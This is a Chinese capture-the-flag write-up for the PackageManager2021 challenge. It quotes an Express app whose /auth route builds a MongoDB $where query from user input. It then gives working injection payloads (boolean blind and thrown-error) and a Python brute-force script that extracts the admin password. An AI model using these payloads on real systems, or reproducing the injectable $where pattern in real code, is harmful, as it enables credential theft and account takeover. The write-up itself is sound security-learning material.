# [2021 祥云杯] PackageManager2021
index.ts 的源码:
import * as express from "express";  | |
import { User } from "../schema";  | |
import { checkmd5Regex } from "../utils";  | |
const router = express.Router();  | |
router.get('/', (_, res) => res.render('index'))  | |
router.get('/login', (_, res) => res.render('login'))  | |
router.post('/login', async (req, res) => {  | |
let { username, password } = req.body;  | |
if (username && password) {  | |
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {  | |
return res.render('login', { error: 'Parameters error' });  | |
		} | |
const user = await User.findOne({ "username": username })  | |
if (!user || !(user.password === password)) {  | |
return res.render('login', { error: 'Invalid username or password' });  | |
		} | |
req.session.userId = user.id  | |
res.redirect('/packages/list')  | |
} else {  | |
return res.render('login', { error: 'Parameters cannot be blank' });  | |
	} | |
})  | |
router.get('/register', (_, res) => res.render('register'))  | |
router.post('/register', async (req, res) => {  | |
let { username, password, password2 } = req.body;  | |
if (username && password && password2) {  | |
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {  | |
return res.render('register', { error: 'Parameters error' });  | |
		} | |
if (password != password2) {  | |
return res.render('register', { error: 'Password do noy match' });  | |
		} | |
if (await User.findOne({ username: username })) {  | |
return res.render('register', { error: 'Username already taken' });  | |
		} | |
try {  | |
const user = new User({ "username": username, "password": password, "isAdmin": false })  | |
await user.save()  | |
} catch (err) {  | |
return res.render('register', { error: err });  | |
		} | |
res.redirect('/login');  | |
} else {  | |
return res.render('register', { error: 'Parameters cannot be blank' });  | |
	} | |
})  | |
router.get('/logout', (req, res) => {  | |
req.session.destroy(() => res.redirect('/'))  | |
})  | |
router.get('/auth', (_, res) => res.render('auth'))  | |
router.post('/auth', async (req, res) => {  | |
let { token } = req.body;  | |
if (token !== '' && typeof (token) === 'string') {  | |
if (checkmd5Regex(token)) {  | |
try {  | |
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()  | |
console.log(docs);  | |
if (docs.length == 1) {  | |
if (!(docs[0].isAdmin === true)) {  | |
return res.render('auth', { error: 'Failed to auth' })  | |
					} | |
} else {  | |
return res.render('auth', { error: 'No matching results' })  | |
				} | |
} catch (err) {  | |
return res.render('auth', { error: err })  | |
			} | |
} else {  | |
return res.render('auth', { error: 'Token must be valid md5 string' })  | |
		} | |
} else {  | |
return res.render('auth', { error: 'Parameters error' })  | |
	} | |
req.session.AccessGranted = true  | |
res.redirect('/packages/submit')  | |
});  | |
export default router;  | 
主页注册登陆后:

发现这些东西全被过滤了,那应该就是不是上传 js 文件 submit 东西执行 js 文件获取文件了,那应该就是拿 admin 的密码登录了,找一下源码关于 admin 的信息,找到这个源码:
router.post('/auth', async (req, res) => {  | |
let { token } = req.body;  | |
if (token !== '' && typeof (token) === 'string') {  | |
if (checkmd5Regex(token)) {  | |
try {  | |
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()  | |
console.log(docs);  | |
if (docs.length == 1) {  | |
if (!(docs[0].isAdmin === true)) {  | |
return res.render('auth', { error: 'Failed to auth' })  | |
					} | |
} else {  | |
return res.render('auth', { error: 'No matching results' })  | |
				} | |
} catch (err) {  | |
return res.render('auth', { error: err })  | |
			} | |
} else {  | |
return res.render('auth', { error: 'Token must be valid md5 string' })  | |
		} | |
} else {  | |
return res.render('auth', { error: 'Parameters error' })  | |
	} | |
req.session.AccessGranted = true  | |
res.redirect('/packages/submit')  | |
});  | 
其中:
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()  | |
console.log(docs);  | 
这个 token 我们可以控制,并且还有 exec 执行函数,可以构造随便 md5“加上 ||this.password [0]==”a 进行布尔盲注
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" || this.password[0]=="a"
此时:
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"  | 
基本上就是 || 后面的对了就是对的,错了就是错的,就可以爆密码了
import requests | |
import string | |
url="http://33384f3e-07da-423c-a59f-2b1d078b0e5e.node5.buuoj.cn:81/auth"  | |
headers={  | |
"Cookie": "session=s%3A3wvQHv9Y0mXpJiI6waZgpyDAJEUZx1xo.JVohWm50pSeTB1xXjWBypCPrJjkGoxsdEJ4MukmieVQ",  | |
} | |
flag = ''  | |
for i in range(10000):  | |
for j in string.printable:  | |
if j == '"':  | |
            continue | |
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)  | |
data={  | |
"_csrf": "90fXyUpP-Ozj7FRw1cLILI9yNJds_QbJM5Bk",  | |
"token": payload  | |
        } | |
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)  | |
        # print(r.text) | |
if "Found. Redirecting to" in r.text:  | |
print(payload)  | |
            flag+=j | |
print(flag)  | |
            break | 

登陆就出了

还有就是
# 用 js 语句 throw error
js 直接报错出的
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin  | 
逻辑判断语句为:
`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"` | 
这里就是立即执行 throw Error (this.password),后面是!= 还是 == 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到 password 的值

也是直接出密码